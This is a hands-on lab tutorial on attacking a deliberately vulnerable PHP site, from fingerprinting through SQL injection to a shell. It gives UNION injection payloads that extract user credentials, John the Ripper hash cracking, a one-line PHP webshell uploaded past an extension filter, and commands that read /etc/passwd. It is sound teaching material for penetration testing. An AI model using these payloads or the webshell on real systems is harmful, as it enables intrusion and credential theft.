From SQL Injection to Shell
This exercise explains how you can, from a SQL injection, gain access to the administration console, then in the administration console, how you can run commands on the system.
This course details the exploitation of SQL injection in a PHP based website and how an attacker can use it to gain access to the administration pages.
Then, using this access, the attacker will be able to gain code execution on the server.
The attack is divided into 3 steps:
- Fingerprinting: to gather information on the web application and technologies in use.
- Detection and exploitation of SQL injection: in this part, you will learn how SQL injections work and how to exploit them in order to retrieve information.
- Access to the administration pages and code execution: the last step in which you will access the operating system and run commands.
Fingerprinting can be done using multiple tools. First by using a browser, it's possible to detect that the application is written in PHP.
A lot of information can be retrieved by connecting to the web application using netcat or telnet:
$ telnet vulnerable 80
- vulnerable is the hostname or the IP address of the server;
- 80 is the TCP port used by the web application (80 is the default value for HTTP).
By sending the following HTTP request:
GET / HTTP/1.1
It is possible to retrieve information on the version of PHP and the web server used just by observing the HTTP headers sent back by the server:
HTTP/1.1 200 OK Date: Thu, 24 Nov 2011 04:40:51 GMT Server: Apache/2.2.16 (Debian) X-Powered-By: PHP/5.3.3-7+squeeze3 Vary: Accept-Encoding Content-Length: 1335 Content-Type: text/html <html> <head>
Here the application is only available via HTTP (nothing is running on the port 443). If the application was only available via HTTPs, telnet or netcat would not be able to communicate with the server, the tool
openssl can be used:
$ openssl s_client -connect vulnerable:443
- vulnerable is the hostname or the IP address of the server;
- 443 is the TCP port used by the web application (443 is the default value for HTTPs)
Using an application such as Burp Suite http://portswigger.net/ set up as a proxy makes it easy to retrieve the same information:
The tool wfuzz (http://www.edge-security.com/wfuzz.php) can be used to detect directories and pages on the web server using brute force.
The following command can be run to detect remote files and directories:
$ python wfuzz.py -c -z file,wordlist/general/big.txt --hc 404 http://vulnerable/FUZZ
The following options are used:
-cto output with colors.
-z file,wordlist/general/big.txttells wfuzz to use the file
wordlists/general/big.txtas a dictionary to brute force the remote directories' name.
--hc 404tells wfuzz to ignore the response if the response code is 404 (Page not Found)
http://vulnerable/FUZZtells wfuzz to replace the word FUZZ in the URL by each value found in the dictionary.
Wfuzz can also be used to detect PHP script on the server:
$ python wfuzz.py -z file -f commons.txt --hc 404 http://vulnerable/FUZZ.php
In order to understand, detect and exploit SQL injections, you need to understand the Structured Query Language (SQL). SQL allows a developer to perform the following requests:
- retrieve information using the
- update information using the
- add new information using the
- delete information using the
More operations (to create/remove/modify tables, databases or triggers) are available but are less likely to be used in web applications.
The most common query used by web sites is the SELECT statement which is used to retrieve information from the database. The SELECT statement follows the following syntax:
SELECT column1, column2, column3 FROM table1 WHERE column4='string1' AND column5=integer1 AND column6=integer2;
In this query, the following information is provided to the database:
SELECTstatement indicates the action to perform: retrieve information;
- the list of columns indicates what columns are expected;
FROM table1indicates from what tables the records are fetched;
- the conditions following the
WHEREstatement are used to indicate what conditions the records should meet.
string1 value is delimited by a simple quote and the integers
integer2 can be delimited by a simple quote (
integer2) or just put directly in the query (
For example, let see what the request:
SELECT column1, column2, column3 FROM table1 WHERE column4='user' AND column5=3 AND column6=4;
will retrieve from the following table:
Using the previous query, the following results will be retrieved:
As we can see, only these values are returned since they are the only ones matching all of the conditions in the
If you read source code dealing with some databases, you will often see
SELECT * FROM tablename. The
* is a wildcard requesting the database to return all columns and avoid the need to name them all.
Since error messages are displayed, it's quite easy to detect any vulnerability in the website. SQL injections can be detected using any and all of the following methods.
Let's take the example of a shopping website, when accessing the URL /cat.php?id=1, you will see the picture article1. The following table shows what you will see for different values of id:
The PHP code behind this page is:
<?php $id = $_GET["id"]; $result= mysql_query("SELECT * FROM articles WHERE id=".$id); $row = mysql_fetch_assoc($result); // ... display of an article from the query result ... ?>
The value provided by the user (
$_GET["id]) is directly echoed in the SQL request.
For example, accessing the URL:
/article.php?id=1will generate the following request:
SELECT * FROM articles WHERE id=1
/article.php?id=2will generate the following request
SELECT * FROM articles WHERE id=2
If a user try to access the URL
/article.php?id=2', the following request will be executed
SELECT * FROM articles WHERE id=2'. However, the syntax of this SQL request is incorrect because of the single quote
' and the database will throw an error. For example, MySQL will throw the following error message:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
This error message may or may not be visible in the HTTP response depending on the PHP configuration.
The value provided in the URL is directly echoed in the request and considered as an integer, this allows you to ask the database to perform basic mathematical operation for you:
- if you try to access
/article.php?id=2-1, the following request will be sent to the database
SELECT * FROM articles WHERE id=2-1, and the article1's information will be display in the web page since the previous query is equivalent to
SELECT * FROM articles WHERE id=1(the subtraction will be automatically performed by the database).
- >if you try to access
/article.php?id=2-0, the following request will be sent to the database
SELECT * FROM articles WHERE id=2-0, and the article2's information will be displayed in the web page since the previous query is equivalent to
SELECT * FROM articles WHERE id=2.
These properties provide a good method of detecting SQL injection:
- if accessing /article.php?id=2-1 displays article1 and accessing /article.php?id=2-0 displays article2, the subtraction is performed by the database, and you're likely to have found a SQL injection
- if accessing /article.php?id=2-1 displays article2 and accessing /article.php?id=2-0 displays article2 as well, it's unlikely that you have SQL injection on an integer, but you may have SQL injection on a string value as we will see.
- if you put a quote in the URL (
/article.php?id=1'), you should receive an error.
As we saw before in "Introduction to SQL", strings in an SQL query are put between quotes when used as value (example with 'test'):
SELECT id,name FROM users where name='test';
If SQL injection is present in the web page, injecting a single quote
' will break the query syntax and generate an error. Furthermore, injecting 2 times a single quote
'' won't break the query anymore. As a general rule, an odd number of single quotes will throw an error, an even number of single quotes won't.
It is also possible to comment out the end of the query, so in most cases you won't get an error (depending on the query format). To comment out the end of the query you can use
' -- .
For example the query, with an injection point in the test value:
SELECT id,name FROM users where name='test' and id=3;
SELECT id,name FROM users where name='test' -- ' and id=3;
and will get interpreted as:
SELECT id,name FROM users where name='test'
However this test can still generate an error if the query follows the pattern below:
SELECT id,name FROM users where ( name='test' and id=3 );
Since the right parenthesis will be missing once the end of the query is commented out. You can obviously try with one or more parenthesis to find a value that doesn't create an error.
Another way to test it, is to use
' and '1'='1, this injection is less likely to impact the query since it is less likely to break it. For example if injected in the previous query, we can see that the syntax is still correct:
SELECT id,name FROM users where ( name='test' and '1'='1' and id=3 );
' and '1'='1 is less likely to impact the semantic of the request and the results of with and without injection are likely to be the same. We can then compare it with the page generated using the following injection
' and '1'='0 which is less likely to create an error but is likely to change the semantic of the query.
In order to find the SQL injection, you need to visit the website and try these methods on all parameters for each page. Once you have found the SQL injection, you can move to the next section to learn how to exploit it.
Now We have found a SQL injection in the page http://vulnerable/cat.php, in order to go further, we will need to exploit it to retrieve information. To do so, we will need to learn about the
UNION keyword available in SQL.
The UNION statement is used to put together information from two requests:
SELECT * FROM articles WHERE id=3 UNION SELECT ...
Since it is used to retrieve information from other tables, it can be used as a SQL injection payload. The beginning of the query can't be modify directly by the attacker since it's generated by the PHP code. However using UNION, the attacker can manipulate the end of the query and retrieve information from other tables:
SELECT id,name,price FROM articles WHERE id=3 UNION SELECT id,login,password FROM users
The most important rule, is that both statements should return the same number of columns otherwise the database will trigger an error.
Exploiting SQL injection using
UNION follows the steps below:
- Find the number of columns to perform the UNION
- Find what columns are echoed in the page
- Retrieve information from the database meta-tables
- Retrieve information from other tables/databases
In order to perform a request by SQL injection, you need to find the number of columns that are returned by the first part of the query. Unless you have the source code of the application, you will have to guess this number.
There are two methods to get this information:
- using UNION SELECT and increase the number of columns;
- using ORDER BY statement.
If you try to do a UNION and the number of columns returned by the two queries are different, the database will throw an error:
The used SELECT statements have a different number of columns
You can use this property to guess the number of columns. For example, if you can inject in the following query:
SELECT id,name,price FROM articles where id=1. You will try the following steps:
SELECT id,name,price FROM articles where id=1 UNION SELECT 1, the injection
1 UNION SELECT 1will return an error since the number of columns are different in the two sub-parts of the query;
SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2, for the same reason as above, the payload
1 UNION SELECT 1,2will return an error;
SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3, since both sub-parts have the same number of columns, this query won't throw an error. You may even be able to see one of the numbers in the page or in the source code of the page.
NB: this works for MySQL the methodology is different for other databases, the values 1,2,3,... should be changed to null,null,null, ... for database that need the same type of value in the 2 sides of the UNION keyword. For Oracle, when SELECT is used the keyword FROM needs to be used, the table dual can be used to complete the request:
UNION SELECT null,null,null FROM dual
The other method uses the keyword
ORDER BY is mostly used to tell the database what column should be used to sort results:
SELECT firstname,lastname,age,groups FROM users ORDER BY firstname
The request above will return the users sorted by the firstname column
ORDER BY can also be used to with an integer to tell the database to sort by the column number X:
SELECT firstname,lastname,age,groups FROM users ORDER BY 3
The request above will return the users sorted by the third column.
This feature can be used to detect the number of columns, if the column number in the
ORDER BY statement is bigger than the number of columns in the query, an error is thrown (example with 10):
Unknown column '10' in 'order clause'
You can use this property to guess the number of columns. For example, if you can inject in the following query:
SELECT id,name,price FROM articles where id=1. You can try the following steps:
SELECT id,name,price FROM articles where id=1 ORDER BY 5, the injection
1 ORDER BY 5will return an error since the number of columns is less than 5 in the first part of the query;
SELECT id,name,price FROM articles where id=1 ORDER BY 3, the injection
1 ORDER BY 3will not return an error since the number of columns is less than or equal of 3 in the first part of the query;
SELECT id,name,price FROM articles where id=1 ORDER BY 4, the injection
1 ORDER BY 4will return an error since the number of columns is less than 4 in the first part of the query;
Based on this dichotomic search, we know that the number of columns is 3, we can now use this information to build the final query:
SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3
Even if this methodology provides the same number of requests for this example, it's significantly faster as soon as the number of columns grow.
Now that we know the number of columns, we can retrieve information from the database. Based on the error message we received, we know that the backend database used is MySQL.
Using this information, we can force the database to perform a function or to send us information:
- the user used by the PHP application to connect to the database with
- the version of the database using
In order to perform this, we are going to need to replace one of the values in the previous statement (
UNION SELECT 1,2,3) by the function we want to run in order to retrieve the result in the response.
You can for example access the following URL's to retrieve this information:
- the database version: http://vulnerable/cat.php?id=1%20UNION%20SELECT%201,@@version,3,4
- the current user: http://vulnerable/cat.php?id=1%20UNION%20SELECT%201,current_user(),3,4
- the current database: http://vulnerable/cat.php?id=1%20UNION%20SELECT%201,database(),3,4
We are now able to retrieve information from the database and retrieve arbitrary content. In order to retrieve information related to the current application, we are going to need:
- the name of all tables in the current database
- the name of the column for the table we want to retrieve information from
MySQL provides tables containing meta-information about the database, tables and columns available since the version 5 of MySQL. We are going to use these tables to retrieve the information we need to build the final request. These tables are stored in the database information_schema.
The following queries can be used to retrieve:
- the list of all tables:
SELECT table_name FROM information_schema.tables
- the list of all columns:
SELECT column_name FROM information_schema.columns
By mixing these queries and the previous URL, you can guess what page to access to retrieve information:
- the list of tables:
1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables
- the list of columns:
1 UNION SELECT 1,column_name,3,4 FROM information_schema.columns
The problem, is that these requests provide you a raw list of all tables and columns, but to query the database and retrieve interesting information, you will need to know what column belongs to what table. Hopefully, the table information_schema.columns stores table names:
SELECT table_name,column_name FROM information_schema.columns
To retrieve this information, we can either
- put table_name and column_name in different parts of the injection:
1 UNION SELECT 1, table_name, column_name,4 FROM information_schema.columns
- concatenate table_name and column_name in the same part of the injection using the keyword CONCAT:
1 UNION SELECT 1,concat(table_name,':', column_name),3,4 FROM information_schema.columns.
':'is used to be able to easily split the results of the query.
You have now a list of tables and their columns, the first tables and columns are the default MySQL tables. At the end of the HTML page, we can see a list of tables that are likely to be used by the current application:
Using this information, you can now build a query to retrieve information from this table:
1 UNION SELECT 1,concat(login,':',password),3,4 FROM users;
And get the username and password used to access the administration pages:
The password can be easily cracked using 2 different methods:
- A search engine
- John-The-Ripper John-The-Ripper
When a hash is unsalted, it can be easily cracked using a search engine like google. For that, just search for the hash and you will see a lot of websites with the cleartext version of your password:
John-The-Ripper can be used to crack this password, most modern Linux distribution include a version of John, in order to crack this password you need to tell John what algorithm has been used to encrypted it. For web application, a good guess would be MD5.
In most Linux distributions, the version of John-The-Ripper provided only supports a small number of formats. You can run
john without any arguments to get a list of the supported formats from the usage information. For example on Fedora, the following formats are supported:
$ john # ...usage information... --format=NAME force hash type NAME: DES/BSDI/MD5/BF/AFS/LM/crypt # ...usage information...
Unfortunately, the MD5 available is not the format created by the PHP function md5. In order to crack this password, we will need a version of John supporting raw-md5. The community-enhanced version available on the main website supports raw-md5 and can be used.
Now we need to provide the information in the right format for John, we need to put the username and password on the same line separated by a colon ':'.
The following command line can be used to crack the password previously retrieved:
$ ./john password --format=raw-md5 --wordlist=dico --rules
The following options are used:
passwordtells john what file contains the password hash
--format=raw-md5tells john that the password hash is in the raw-md5 format
--wordlist=dicotells john to use the file
dicoas a dictionary
--rulestells john to try variations for each word provided
John outputs the number of hashs matching the format used:
Loaded 1 password hash (Raw MD5 [SSE2 16x4x2 (intr)])
This provides an indication that the correct format is used.
You can retrieve the password really quickly:
$ ./john password --format=raw-md5 --wordlist=dico --rules Loaded 1 password hash (Raw MD5 [SSE2 16x4x2 (intr)]) P4ssw0rd (admin)
Once access to the administration page is obtained, the next goal is to find a way to execute commands on the operating system.
We can see that there is a file upload function allowing a user to upload a picture, we can use this functionality to try to upload a PHP script. This PHP script once uploaded on the server will give us a way to run PHP code and commands.
First we need to create a PHP script to run commands. Below is the source code of a simple and minimal webshell:
<?php system($_GET['cmd']); ?>
This script takes the content of the parameter cmd and executes it. It needs to be saved as a file with the extension .php, for example:
shell.php can be used as a filename.
We can now use the upload functionality available at the page: http://vulnerable/admin/new.php and try to upload this script.
We can see that the script has not been uploaded correctly on the server. The application prevent file with an extension
.php to be uploaded. We can however try:
.php3which will bypass a simple filter on
.php.testwhich will bypass a simple filter on
.phpand Apache will still use
.phpsince in this configuration it doesn't have an handler for
Now, we need to find where the PHP script, managing the upload put the file on the web server. We need to ensure that the file is directly available for web clients. We can visit the web page of the newly uploaded image to see where the
<img tag is pointing to:
<div class="content"> <h2 class="title">Last picture: Test shell</h2> <div class="inner" align="center"> <p> <img src="admin/uploads/shell.php3" alt="Test shell" /> </p> </div> </div>
you can now access the page at the following address and start running commands using the cmd parameter. For example, accessing http://vulnerable/admin/uploads/shell.php3?cmd=uname will run the command
uname on the operating system and return the current kernel (
Other commands can be used to retrieve more information:
cat /etc/passwdto get a full list of the system's users;
uname -ato get the version of the current kernel;
lsto get the content of the current directory;
The webshell has the same privileges as the web server running the PHP script, you won't for example be able to retrieve the content of the file
/etc/shadow since the web server doesn't have access to this file (however you should still try in case an administrator made a mistake and changed the permissions on this file).
Each command is run in a brand new context independently of the previous command, you won't be able to get the contents of the
/etc/ directory by running
cd /etc and
ls, since the second command will be in a new context. To get the contents of the directory
/etc/, you will need to run
ls /etc for example.
This exercise showed you how to manually detect and exploit SQL injection to gain access to the administration pages. Once in the "Trusted zone", more functionality is often available which may lead to more vulnerabilities.
This exercise is based on the results of a penetration test performed on a website few years ago, but websites with these kind of vulnerabilities are still available on Internet today.
The configuration of the web server provided is an ideal case since error messages are displayed and PHP protections are turned off. We will see in another exercise on how SQL injections can be exploited in harder conditions, but in the meantime you can play with the PHP configuration to harden the exercise. To do so you need to enable
magic_quotes_gpc and disable
display_errors in the PHP configuration (
/etc/php5/apache2/php.ini) and restart the web server (